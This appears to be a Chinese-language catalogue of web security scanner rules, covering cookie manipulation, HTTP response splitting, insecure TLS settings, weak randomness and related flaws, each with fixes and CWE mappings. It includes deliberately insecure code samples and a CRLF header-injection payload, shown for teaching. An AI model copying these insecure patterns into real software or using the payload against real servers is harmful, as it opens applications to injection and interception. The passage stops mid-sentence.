解释	以下情况中会出现 Cookie Manipulation 漏洞： 1. 数据通过一个不可信赖的数据源进入 Web 应用程序，最常见的是 HTTP 请求。 在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。 2. 数据包含在一个 HTTP Cookie 中，该 Cookie 未经验证就发送给了 Web 用户。 在这种情况下，数据通过 Y（文件）的第 M 行中的 YY（函数） 传送。 如同许多软件安全漏洞一样，Cookie Manipulation 只是通向终端的一个途径，它本身并不是终端。从本质上看，这些漏洞是显而易见的：攻击者可将恶意数据传送到易受攻击的应用程序，然后该应用程序将这些数据包含在 HTTP Cookie 中。 Cookie Manipulation：当与类似跨站请求伪造的攻击相结合时，攻击者就可以篡改、添加、甚至覆盖合法用户的 cookie。 作为 HTTP 响应头文件，Cookie Manipulation 攻击也可导致其他类型的攻击，例如： HTTP Response Splitting： 其中最常见的一种 Header Manipulation 攻击是 HTTP Response Splitting。为了成功地实施 HTTP Response Splitting 盗取，应用程序必须允许将那些包含 CR（回车，由 %0d 或 \r 指定）和 LF（换行，由 %0a 或 \n 指定）的字符输入到头文件中。攻击者利用这些字符不仅可以控制应用程序要发送的响应剩余头文件和正文，还可以创建完全受其控制的其他响应。 如今的许多现代应用程序服务器可以防止 HTTP 头文件感染恶意字符。例如，如果尝试使用被禁用的字符设置头文件，最新版本的 Apache Tomcat 会抛出 IllegalArgumentException。如果您的应用程序服务器能够防止设置带有换行符的头文件，则其具备对 HTTP Response Splitting 的防御能力。然而，单纯地过滤换行符可能无法保证应用程序不受 Cookie Manipulation 或 Open Redirects 的攻击，因此必须在设置带有用户输入的 HTTP 头文件时采取措施。 示例：下列代码片段会从 HTTP 请求中读取网络日志项的作者名字 author，并将其置于一个 HTTP 响应的 cookie 头文件中。 author = form.author.value;

返回目录

	... document.cookie = "author=" + author + ";expires="+cookieExpiration; ... 假设在请求中提交了一个字符串，该字符串由标准的字母数字字符组成，如“Jane Smith”，那么包含该 Cookie 的 HTTP 响应可能表现为以下形式： HTTP/1.1 200 OK ... Set-Cookie: author=Jane Smith ... 然而，因为 cookie 值来源于未经校验的用户输入，所以仅当提交给 AUTHOR_PARAM 的值不包含任何 CR 和 LF 字符时，响应才会保留这种形式。如果攻击者提交的是一个恶意字符串，比如 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n....."，那么 HTTP 响应就会被分割成以下形式的两个响应： HTTP/1.1 200 OK ... Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK ... 显然，第二个响应已完全由攻击者控制，攻击者可以用任何所需标头和正文内容构建该响应。攻击者可以构建任意 HTTP 响应，从而发起多种形式的攻击，包括：cross-user defacement、web and browser cache poisoning、cross-site scripting 和 page hijacking。 Cross-User Defacement：攻击者可以向一个易受攻击的服务器发出一个请求，导致服务器创建两个响应，其中第二个响应可能会被曲解为对其他请求的响应，而这一请求很可能是与服务器共享相同 TCP 连接的另一用户发出的。这种攻击可以通过以下方式实现：攻击者诱骗用户，让他们自己提交恶意请求；或在远程情况下，攻击者与用户共享同一个连接到服务器（如共享代理服务器）的 TCP 连接。最理想的情况是，攻击者通过这种方式使用户相信自己的应用程序已经遭受了黑客攻击，进而对应用程序的安全性失去信心。最糟糕的情况是，攻击者可能提供经特殊技术处理的内容，这些内容旨在模仿应用程序的执行方式，但会重定向用户的私人信息（如帐号和密码），将这些信息发送给攻击者。 Cache Poisoning： 如果多用户 Web 缓存或者单用户浏览器缓存将恶意构建的响应缓存起来，该响应的破坏力会更大。如果响应缓存在共享的 Web 缓存（如在代理服务器中常见的缓存）中，那么使用该缓存的所有用户都会不断收到恶意内容，直到清除该缓存项为止。同样，如果响应缓存在单个用户的浏览器中，那么在清除该缓存项以前，该用户会不断收到恶意内容。然而，影响仅局限于本地浏览器的用户。 Cross-Site Scripting：一旦攻击者控制了应用程序传送的响应，就可以选择多种恶意内容来传播给用户。Cross-Site Scripting 是最常见的攻

返回目录

	击形式，这种攻击在响应中包含了恶意的 JavaScript 或其他代码，并在用户的浏览器中执行。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。对于易受攻击的应用程序用户，最常见且最危险的攻击就是使用 JavaScript 将会话和 authentication 信息返回给攻击者，而后攻击者就可以完全控制受害者的帐号了。 Page Hijacking：除了利用一个易受攻击的应用程序向用户传输恶意内容，还可以利用相同的根漏洞，将服务器生成的供用户使用的敏感内容重定向，转而供攻击者使用。攻击者通过提交一个会导致两个响应的请求，即服务器做出的预期响应和攻击者创建的响应，致使某个中间节点（如共享的代理服务器）误导服务器所生成的响应，将本来应传送给用户的响应错误地传给攻击者。因为攻击者创建的请求产生了两个响应，第一个被解析为针对攻击者请求做出的响应，第二个则被忽略。当用户通过同一 TCP 连接发出合法请求时，攻击者的请求已经在此处等候，并被解析为针对受害者这一请求的响应。这时，攻击者将第二个请求发送给服务器，代理服务器利用针对受害者（用户）的、由该服务器产生的这一请求对服务器做出响应，因此，针对受害者的这一响应中会包含所有头文件或正文中的敏感信息。 Open Redirect：如果允许未验证的输入来控制重定向机制所使用的 URL，可能会有利于攻击者发动钓鱼攻击。
建议	针对 Cookie Manipulation 的解决方法是，确保在适当位置进行输入验证并检验其属性是否正确。 由于 Header Manipulation 漏洞（类似于 Cookie Manipulation）出现在应用程序的输出中包含恶意数据时，因此，合乎逻辑的做法是在应用程序输出数据前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态响应，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 Header Manipulation 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免出现其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是增强应用程序现有的输入验证机制，增加针对 Header Manipulation 的检查。尽管具有一定的价值，但 Header Manipulation 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 Header Manipulation 漏洞的最佳方法是验证所有应用程序输入数据或向用户输出的数据。 针对 Header Manipulation 漏洞进行验证最安全的方式是创建一个安全字符允许列表，其中的字符允许出现在 HTTP 响应头文件中，并且只接受完全由这些受认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，帐号可能仅包含 0-9 的数字。

返回目录

	更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样的列表，首先需要了解在 HTTP 响应头文件中具有特殊含义的一组字符。尽管 CR 和 LF 字符是 HTTP Response Splitting 攻击的核心，但其他字符，如":"（冒号）和 '='（等号），在响应标头中同样具有特殊的含义。 在应用程序中确定针对 Header Manipulation 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。应用程序应拒绝任何要添加到 HTTP 响应头文件中的包含特殊字符的输入，这些特殊字符（特别是 CR 和 LF）是无效字符。 许多应用程序服务器都试图避免应用程序出现 HTTP Response Splitting 漏洞，其做法是为负责设置 HTTP 头文件和 cookie 的函数提供各种执行方式，以检验是否存在进行 HTTP Response Splitting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CWE ID 113
OWASP2017	A1 Injection

返回目录

漏洞名称	**Helmet Misconfiguration:Insecure XSS Filter**
默认严重性	4.0
摘要	X（文件） 中的方法 XXX（方法） 调用第 N 行的 X（函数），错误地配置了 Helmet 中间件，导致将所有 Internet Explorer 版本的 X-XSS-Protection 设置为 1; mode=block，这会造成在旧版浏览器中产生跨站点脚本缺陷。将所有 Internet Explorer 版本的 X-XSS-Protection 设置为 1; mode=block 会造成在旧版浏览器中产生跨站点脚本缺陷。

解释	X-XSS-Protection 是 Microsoft 推出的 HTTP 标头，自推出以来，已被许多其他浏览器采用。该标头旨在帮助阻止 Cross-Site Scripting 攻击成功，但会无意中导致产生缺陷，使得安全的网站易受攻击[1]。由于这个原因，不应将该标头用于旧版 Internet Explorer，应将其设置为 0 以禁用。
	示例 1：以下示例在 Express 应用程序中错误地配置 Helmet 中间件，从而为所有 Internet Explorer 版本启用此标头：
	var express = require('express');
	var app = express();
	var helmet = require('helmet');
	...
	app.use(helmet.xssFilter({ setOnOldIE: true}));
	...

建议	对于最近版本的浏览器，应将 X-XSS-Protection 设置为 1; mode=block，但对于旧版 Internet Explorer（8 及以下），由于它们容易受到攻击，应将此标头设置为 0。
	使用 Helmet 中间件时，默认设置是安全的，因此应使用默认设置。绝对不应对所有 Internet Explorer 版本明确启用这种保护。
	示例 2：以下内容会修复 Example 1 中显示的错误配置：
	var express = require('express');
	var app = express();
	var helmet = require('helmet');
	app.use(helmet());
	//or
	app.use(helmet.xssFilter());
	...

CWE	CWE ID 554
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**HTML5:Cross-Site Scripting Protection**
默认严重性	3.0
摘要	明确禁用了可能提高 cross-site scripting 攻击风险的 X-XSS-Protection 标头。
解释	X-XSS-Protection 是指在 Internet Explorer 8 和更高版本以及 Chrome 的最新版本中自动启用的标头。在标头值设置为 false (0) 时，禁用跨站点脚本保护功能。 可以在多个位置设置标头，并且应检查其中是否存在配置错误和恶意篡改问题。

建议	可通过发送值为“1; mode=block”的 X-XSS-Protection 标头，将 Express 应用程序自动配置为指示浏览器支持其跨站点脚本保护。为此，Helmet 中间件可用于为新浏览器自动执行此操作。请注意，应将设置 setOnOldIE 保留为 false 的默认值，以防止在旧版 Internet Explorer 中产生漏洞。
	
	var express = require('express');
	var app = express();
	var helmet = require('helmet');
	app.use(helmet());
	//or
	app.use(helmet.xssFilter());
	...

CWE	CWE ID 554, CWE ID 1173
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**HTML5:Easy-to-Guess Database Name**
默认严重性	2.0
摘要	容易猜测的 Web SQL 数据库名称可导致未经授权的人窃取数据和破坏数据库。
解释	HTML5 的一项功能是在客户端 SQL 数据库存储数据。数据库名称是开始写入数据库或从数据库读取所需的重要信息。因此，数据库名称必须是每位用户特有的唯一字符串。如果数据库名称很容易被猜出，未经授权的人（例如其他用户）可能会窃取敏感数据或损坏数据库条目。 在这种情况下，可在 X（文件）第 N 行的 YY（函数） 处访问数据库。 示例：以下代码使用了容易被猜出的数据库名称： ... var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024); ... 该代码可成功运行，但是任何猜出数据库名称为 'mydb' 的人都能够访问它。
建议	不要使用容易被猜出的数据库名称。理想情况下，应该使用随机字符串生成器来创建数据库名称并将其存储在服务器上。只有经过授权的用户登录时，才能检索该名称并将其添加到客户端脚本上。然而，这种方法可能不适用于脱机访问。相反，用户可选择脱机密码并将其与用户名一起作为数据库名称使用。
CWE	CWE ID 330
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**HTML5:MIME Sniffing**
默认严重性	3.0
摘要	Node.js 应用程序不会将 X-Content-Type-Options 设置为 nosniff，也不会明确禁用此安全标头。
解释	MIME 探查是检查字节流内容以尝试推断其中数据格式的一种做法。如果没有明确禁用 MIME 探查，则有些浏览器会被操控以非预期方式解析数据，从而导致跨站点脚本攻击风险。 对于可能包含用户可控制内容的每个页面，您应该使用 HTTP 标头 X-Content-Type-Options: nosniff。

建议	为了确保应用程序不易遭受 MIME 探查攻击，程序员可以：
	1. 为所有页面全局设置 HTTP 标头 X-Content-Type-Options: nosniff，例如，使用 Express 与 Helmet 中间件。
	2. 仅对可能包含用户可控制内容的那些页面设置需要的标头。
	为了全局设置 HTTP 标头，在与 Express 应用程序一起使用时，Helmet 中间件将默认进行此设置。
	var express = require('express');
	var app = express();
	var helmet = require('helmet');
	app.use(helmet());
	...
	或者，可以使用 Express 应用程序中不同路由器的不同设置，以类似方式在单独的页面上进行此设置。
	var express = require('express');
	var app = express();
	var helmet = require('helmet');
	var myRouter = express.Router();
	myRouter.use(helmet.noSniff());
	...
	此标头对于防止某些攻击类至关重要，不应删除此标头或将其设置为任何其他值。

CWE	CWE ID 554
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**HTML5:Overly Permissive Message Posting Policy**
默认严重性	3.0
摘要	在 X（文件） 的第 N 行中，程序发布了目标源过于宽松的跨文档消息。程序发布了目标源过于宽松的跨文档消息。
解释	HTML5 的一项新功能是跨文档消息传递。该功能允许脚本将消息发布到其他窗口。用户利用相应的 API 可指定目标窗口的源。不过，指定目标源时应小心谨慎，因为如果目标源过于宽松，恶意脚本就能趁机采用不当方式与受害者窗口进行通信，从而导致发生欺骗、数据被盗、转发及其他攻击。 示例 1：以下示例会使用通配符以编程方式指定要发送的消息的目标源。 o.contentWindow.postMessage(message, '*'); 使用 * 作为目标源的值表示无论来源如何，脚本都会将信息发送到窗口。
建议	请不要将 * 作为目标源的值。相反，请提供一个特定的目标源。 示例 2：以下代码会为目标源提供一个特定值。 o.contentWindow.postMessage(message, 'www.trusted.com');
CWE	CWE ID 942
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**HTTP Response Splitting**
默认严重性	4
摘要	X（文件） 文件第 N 行 XXX（方法） 方法从 XX（元素） 元素获取用户输入。然后，此元素的值将传递到代码，而不会进行合适的净化或验证，并最终在 Y（文件） 文件第 M 行 YYY（方法） 方法中用于一个 HTTP 响应头中。在某些无法防御 HTTP 响应拆分攻击的旧版本中，这会导致此类攻击。
解释	如果标头设置代码是有漏洞的版本，则攻击者可能： 通过操纵标头，任意将应用程序服务器的响应标头更改为受害者的 HTTP 请求 通过注入两个连续的换行符任意更改应用程序服务器的响应主体，这可能导致跨站点脚本 (XSS) 攻击 导致缓存中毒，可能控制所有网站的 HTTP 响应（这些响应需要通过与此应用程序相同的代理）。 因为 HTTP 响应头中使用了用户输入，所以攻击者可以添加 NewLine 字符使标头看起来像是包含已经过工程设计的内容的多个标头，从而可能使响应看起来像多个响应（例如，通过设计重复的内容长度标头）。这可能导致组织的代理服务器为受害者的后续请求提供第二个经过工程设计的响应；或者，如果代理服务器也执行响应缓存，攻击者可以立即向另一个站点发送后续请求，使代理服务器将设计的响应缓存为来自该第二站点的响应，稍后再将该响应提供给其他用户。 许多现代 Web 框架默认对插入标头的字符串中的换行符进行净化，从而可以解决此问题。但是，因为许多旧版本的 Web 框架无法自动解决此问题，所以可能需要手动净化输入。
建议	验证所有来源的所有输入（包括 cookie）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值 此外，将用户输入添加到响应标头前，先删除或 URL 编码所有特殊（非字母）字符。 一定要使用最新的框架。
CWE	CWE ID 113
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Information Exposure Through Directory Listing**
默认严重性	3
摘要	应用程序在 Y（文件） 文件第 M 行中的 YY（元素） 启用目录列表。
解释	目录列表可能会暴露应用程序提供的意外文件和 URL 路径。攻击者可能会访问意外文件或路径，暴露其中的内容。但是，如果这些文件使用与特定库、类或技术相关的已知文件名，即使不访问这些文件或路径的内容，攻击者也能获取到与底层技术相关的有用信息。 应用程序显示目录列表，即应用程序中特定路径下提供的文件和目录的列表。
建议	切勿在测试环境之外启用目录列表，除非这些文件是静态的且面向公共使用。
CWE	CWE ID 548
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Information Exposure Through Log Files**
默认严重性	3
摘要	应用程序记录各种用户事件，在 YYY（方法） 方法中将敏感用户数据写入 Y（文件） 文件第 M 行中的 YY（元素）。这些详情包含用户或会话相关的数据，例如 X（文件） 文件第 N 行的方法 XXX（方法） 中的 XX（元素）。
解释	暴露与用户或其活动相关的敏感信息会使有权限的攻击者能够冒充用户，或者通过跟踪用户在应用程序中的操作来侵犯用户的隐私。 应用程序记录从用户会话中检索到的敏感用户数据，例如用户的会话标识符，并将其直接写入日志记录机制。 此记录机制在应用程序中用于跟踪用户活动或历史记录，并且可能在常规服务申请期间公开或使用。
建议	在未先进行合适的净化或加密前，不要将敏感数据或私人数据写入标准日志记录机制。 在某些情况下，最好不要记录会话 ID。可以考虑记录会话 IE 的已加 salt 的 hash，以便在不泄漏敏感用户数据的情况下提供会话关联性。
CWE	CWE ID 532
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Information Exposure Through Query Strings**
默认严重性	3
摘要	X（文件） 文件第 N 行的密码 XX（元素） 被 Y（文件） 文件第 M 行的 YY（元素） 作为一个 URL 中的 GET 参数发送。
解释	在 URL 的查询字符串的 GET 参数中发送敏感信息可能会导致此信息被浏览器、代理、Web 缓存等缓存或被写入访问日志。有以上任意访问权限的攻击者可能会检索到此敏感信息。 通过将密码值连接到 URL 或者将密码作为 GET 请求的参数，在 GET 请求中将密码作为查询字符串参数发送。在 GET 请求中发送参数是显式设置该方法到 GET 导致的，或隐式使用默认到 GET 请求的机制且未将该方法更改到另一个方法（例如 POST）导致的。
建议	切勿在 URL 中发送敏感信息。这包括: 凭证 会话或访问 Token 个人信息
CWE	CWE ID 522
OWASP2017	None

返回目录

漏洞名称	**Insecure Randomness**
默认严重性	2.0
摘要	由 X（函数） 实施的随机数生成器不能抵挡加密攻击。标准的伪随机数值生成器不能抵挡各种加密攻击。

解释	在对安全性要求较高的环境中，使用能够生成可预测值的函数作为随机数据源，会产生 Insecure Randomness 错误。
	在这种情况下，生成弱随机数的函数是 YY（函数），它位于 X（文件） 的第 N 行。
	电脑是一种具有确定性的机器，因此不可能产生真正的随机性。伪随机数生成器 (PRNG) 近似于随机算法，始于一个能计算后续数值的种子。
	PRNG 包括两种类型：统计学的 PRNG 和密码学的 PRNG。统计学的 PRNG 提供很多有用的统计属性，但其输出结果很容易预测，因此容易复制数值流。在安全性所依赖的生成值不可预测的情况下，这种类型并不适用。密码学的 PRNG 生成的输出结果较难预测，可解决这一问题。为保证值的加密安全性，必须使攻击者根本无法、或几乎不可能鉴别生成的随机值和真正的随机值。通常情况下，如果并未声明 PRNG 算法带有加密保护，那么它很可能就是统计学的 PRNG，因此不应在对安全性要求较高的环境中使用，否则会导致严重的漏洞（如易于猜测的密码、可预测的加密密钥、Session Hijacking 和 DNS Spoofing）。
	示例： 下面的代码可利用统计学的 PRNG 为购买产品后仍在有效期内的收据创建一个 URL。
	function genReceiptURL (baseURL){
	var randNum = Math.random();
	var receiptURL = baseURL + randNum + ".html";
	return receiptURL;
	}
	这段代码使用 Math.random() 函数为它生成的收据页面生成“唯一”的标识符。由于 Math.random() 是统计学的 PRNG，攻击者很容易猜到其生成的字符串。尽管收据系统的底层设计并不完善，但若使用不会生成可预测收据标识符的随机数生成器（如密码学的 PRNG），就会更安全些。

建议	当不可预测性至关重要时，如大多数对安全性要求较高的环境都采用随机性，这时可以使用密码学的 PRNG。不管选择了哪一种 PRNG，都要始终使用带有充足熵的数值作为该算法的种子。（切勿使用诸如当前时间之类的数值，因为它们只提供很小的熵。） 在 JavaScript 中，常规的建议是使用 Mozilla API 中的 window.crypto.random() 函数。但这种方法在多种浏览器中都不起作用，包括 Mozilla Firefox 的最新版本。目前没有适用于功能强大的密

返回目录

	码学 PRNG 的跨浏览器解决方案。此时应考虑在 JavaScript 之外处理任意 PRNG 功能。
CWE	CWE ID 338
OWASP2017	None

返回目录

漏洞名称	**Insecure SSL:Server Identity Verification Disabled**
默认严重性	3.0
摘要	在进行 SSL 连接时，通过 X（文件） 中的 X（函数） 建立的连接不验证服务器证书。这使得应用程序易受到中间人攻击。当进行 SSL 连接时，服务器身份验证处于禁用状态。

解释	在某些使用 SSL 连接的库中，默认情况下不验证服务器证书。这相当于信任所有证书。
	示例 1：此服务器错误地尝试验证客户端连接：
	...
	var options = {
	key : fs.readFileSync('my-server-key.pem'),
	cert : fs.readFileSync('server-cert.pem'),
	requestCert: true,
	...
	}
	https.createServer(options);
	...
	创建 https.Server 对象时，requestCert 设置会指定为 true，但未设置 rejectUnauthorized，其默认设置为 false。这意味着尽管服务器是为了通过 SSL 验证客户端而创建，但即使未使用提供的 CA 列表对证书进行授权，也仍然会接受连接。
	示例 2：此应用程序尝试通过 SSL 连接到服务器：
	var tls = require('tls');
	...
	tls.connect({
	host: 'https://www.hackersite.com',
	port: '443',
	...
	rejectUnauthorized: false,
	...
	});
	在此示例中，如果 rejectUnauthorized 设置为 false，这意味着将接受未经授权的证书，并且仍然会与无法识别的服务器建立安全连接。此时，当服务器被黑客攻击发生 SSL 连接中断时，应用程序可能会泄漏用户敏感信息。

建议	当进行 SSL 连接时，不要忘记服务器验证检查。根据所使用的库，一定要验证服务器身份并建立安全的 SSL 连接。 示例 3：此代码实现的功能与 Example 1 相同，但会确保拒绝未经验证的客户端，而不仅仅是将连接标记为来自无法识别的客户端： ... var options = {

返回目录

	key : fs.readFileSync('my-server-key.pem'),
	cert : fs.readFileSync('server-cert.pem'),
	requestCert: true,
	rejectUnauthorized: true,
	...
	}
	https.createServer(options);
	...

CWE	CWE ID 297
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Insecure Storage of Sensitive Data**
默认严重性	5
摘要	应用程序从 X（文件） 文件第 N 行获取敏感的个人数据 XX（元素） 并以无保护、未加密的方式将其储存到 Y（文件） 文件第 M 行的 YY（元素）。
解释	攻击者可能会在某些时候成功获得服务器的访问权限。这时，攻击者就能读取服务器的内存、数据库等。然后，攻击者就能看到所有敏感信息，包括用户的个人详情。这包括用户的帐户信息、财务数据、SSN 等。借助此信息，攻击者可盗用身份，或者简单地滥用受害者的私密数据。 应用程序将敏感的个人信息（如 PII）储存在用户会话或应用程序数据库中。这些数据是纯文本的，未经过任何加密，因此任何可以访问服务器的人都能窃取这些秘密。
建议	不要以未加密的纯文本方式储存个人数据或其他机密信息。这既适用于长期储存（如数据库），也适用于中期储存（如服务器端会话）。 一定要使用新加密算法（例如 AES）和足够长的加密密钥（例如 256 位）以加密的方式储存敏感数据。另外也要保护加密密钥。 另外，某些类型的数据完全不应该以可逆的格式储存，并可使用加密强 hash 算法（例如 SHA-256）进行 hash 处理。
CWE	CWE ID 933
OWASP2017	None

返回目录

漏洞名称	**Insecure Text Entry**
默认严重性	4
摘要	Y（文件） 文件第 M 行的输入字段 YY（元素） 在输入时不遮掩敏感数据，增加了攻击者看到和收集到密码的可能性。
解释	除了肩窥之外，屏幕缓存和键盘缓存也是与此问题相关的问题。 应用程序有暴露的文本输入。
建议	文本类输入应使用 'password' 类型来标记以对输入进行遮掩。
CWE	CWE ID 549
OWASP2017	None

返回目录

漏洞名称	**Insecure Transport**
默认严重性	4.0
摘要	调用 X（文件） 中第 N 行的 X（函数） 会使用未加密的协议（而非加密的协议）与服务器通信。该调用会使用未加密的协议（而非加密的协议）与服务器通信。

解释	所有利用 HTTP、FTP 或 Gopher 的通信均未经过身份验证和加密。因此可能面临风险，特别是在移动环境中，设备要利用 WiFi 连接来频繁连接不安全的公共无线网络。
	示例 1：以下示例通过 HTTP 协议（而不是 HTTPS 协议）读取数据。
	var http = require('http');
	...
	http.request(options, function(res){
	...
	});
	...
	由于传入的 http.IncomingMessage 对象 res 通过未加密和未经验证的通道传输，因而可能存在安全隐患。

建议	应尽可能使用 HTTPS 等安全协议与服务器交换数据。
CWE	CWE ID 319
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Insecure Transport:HSTS not Set**
默认严重性	3.0
摘要	应用程序未设置 HTTP 严格传输安全 (HSTS) 头文件，这使得攻击者能够通过执行 HTTPS stripping 攻击使用普通 HTTP 连接替换 SSL/TLS 连接并窃取敏感信息。
解释	HTTPS stripping 攻击是一种中间人攻击，攻击者可在所有 HTTP 流量中监视引用 HTTPS 的位置标头和链接，并使用 HTTP 版本予以替换。攻击者保留所有 HTTP 替换版本的列表，以使 HTTPS 请求返回到服务器。所有断开的 HTTP 连接通过 HTTPS 代理连接到了服务器。受害者和攻击者之间的所有流量均通过 HTTP 发送，从而暴露了用户名、密码和其他私人信息，但服务器仍然从攻击者接收预期的 HTTPS 流量，因此一切看似正常。 HTTP 严格传输安全 (HSTS) 是一种安全标头，它指示浏览器在标头自身指定的期间始终连接到通过 SSL/TLS 返回 HSTS 标头的站点。即使用户在浏览器 URL 栏中输入了 http://，通过 HTTP 到服务器的连接还是将自动替换为 HTTPS 版本。

建议	可以在 Express 应用程序中使用 Helmet 中间件，以轻松在应用程序中默认添加此标头。
	var express = require('express');
	var app = express();
	var helmet = require('helmet');
	app.use(helmet());
	...

CWE	CWE ID 319
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Insecure Transport:Weak SSL Protocol**
默认严重性	3.0
摘要	SSLv2、SSLv23 和 SSLv3 协议包含多个使它们变得不安全的缺陷，因此不应该使用它们来传输敏感数据。

解释	传输层安全 (TLS) 协议和安全套接字层 (SSL) 协议提供了一种保护机制，可以确保在客户端和 Web 服务器之间所传输数据的真实性、保密性和完整性。TLS 和 SSL 都进行了多次修订，因此需要定期进行版本更新。每次新的修订都旨在解决以往版本中发现的安全漏洞。使用不安全版本的 TLS/SSL 将削弱数据保护力度，并可能允许攻击者危害、窃取或修改敏感信息。
	弱版本的 TLS/SSL 可能会呈现出以下其中一个或所有属性：
	- 没有针对中间人攻击的保护
	- 身份验证和加密使用相同密钥
	- 消息身份验证控制较弱
	- 没有针对 TCP 连接关闭的保护
	这些属性的存在可能会允许攻击者截取、修改或篡改敏感数据。
	示例 1：此 Node.js 片段尝试通过安全连接创建服务器：
	...
	var options = {
	port: 443,
	path: '/',
	key : fs.readFileSync('my-server-key.pem'),
	cert : fs.readFileSync('server-cert.pem'),
	...
	}
	https.createServer(options);
	...
	由于 Node.js 将 secureProtocol 的默认值设置为 SSLv23_method，因此，在未专门覆盖 secureProtocol 时，服务器本身就并不安全。

建议	强烈建议强制客户端仅使用最安全的协议。
	示例 2：此 Node.js 代码段与 Example 1 相同，只不过它会强制通过 TLSv1.2 协议进行通信：
	...
	var options = {
	port: 443,
	path: '/',
	secureProtocol: 'TLSv1_2_method',
	key : fs.readFileSync('my-server-key.pem'),
	cert : fs.readFileSync('server-cert.pem'),
	...
	}

返回目录

	https.createServer(options); ...
CWE	CWE ID 327
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**Insufficient Transport Layer Security**
默认严重性	4
摘要	应用程序在 Y（文件） 文件第 M 行的 YYY（方法） 方法使用 YY（元素） 向服务器发送了一个 HTTP 请求。但是，此请求是通过不受保护的 HTTP 发送的，未使用 HTTPS 保护通道。这可能会暴露敏感信息，例如 X（文件）:N 中 XXX（方法）的 XX（元素）。
解释	通过网络发送数据本身就存在风险，除非使用安全协议保护通信信道。经常连接非安全网络和不可信任的热点的移动设备更是如此。攻击者可以轻松窃听和获取通过无线发送的信息，在某些场景甚至可以操纵这些数据。 这样，攻击者可以窃取通过未加密的 HTTP 发送的任何个人或秘密数据，例如密码、信用卡信息、社会安全号码和其他形式的 PII（个人身份信息），从而导致身份盗用和其他形式的欺诈。此外，主动攻击者可能会更改数据并注入假的或恶意数据，从而对应用程序服务器或客户端应用程序造成进一步的损害。 应用程序处理各种形式的敏感数据，并与远程应用程序服务器通信。但是应用程序使用 "http://" URL 连接，这会导致底层通道使用明文 HTTP，而不使用 SSL/TLS 进行保护。
建议	一定要通过连接到 "https://" URL 使用安全协议。不要发送敏感数据到 "http://" URL。
CWE	CWE ID 319
OWASP2017	None

返回目录

漏洞名称	**Insufficiently Protected Credentials**
默认严重性	3
摘要	X（文件） 文件第 N 行的密码 XX（元素） 被 Y（文件） 文件第 M 行的 YY（元素） 作为一个 URL 中的 GET 参数发送。
解释	在 URL 的查询字符串的 GET 参数中发送敏感信息可能会导致此信息被浏览器、代理、Web 缓存等缓存或被写入访问日志。有以上任意访问权限的攻击者可能会检索到此敏感信息。 通过将密码值连接到 URL 或者将密码作为 GET 请求的参数，在 GET 请求中将密码作为查询字符串参数发送。在 GET 请求中发送参数是显式设置该方法到 GET 导致的，或隐式使用默认到 GET 请求的机制且未将该方法更改到另一个方法（例如 POST）导致的。
建议	切勿在 URL 中发送敏感信息。这包括: 凭证 会话或访问 Token 个人信息
CWE	CWE ID 522
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**JavaScript Hijacking**
默认严重性	2.0
摘要	使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞，该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。
解释	如果发生以下情况，应用程序可能会很容易受到 JavaScript 劫持的攻击：1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现，所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码，引起人们对潜在的 JavaScript 劫持漏洞的注意。 Web 浏览器执行同源策略 (Same Origin Policy)，以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定：如果要使用 JavaScript 来访问某个网页的内容的话，则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy)，恶意网站便可以使用客户端凭证来运行 JavaScript，从其他网站加载的敏感信息，并对这些信息进行提炼，然后将其返回给攻击者。通过 JavaScript 劫持，攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy)，该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是：通过这一策略，任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据，但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境，恶意网站就可以监视 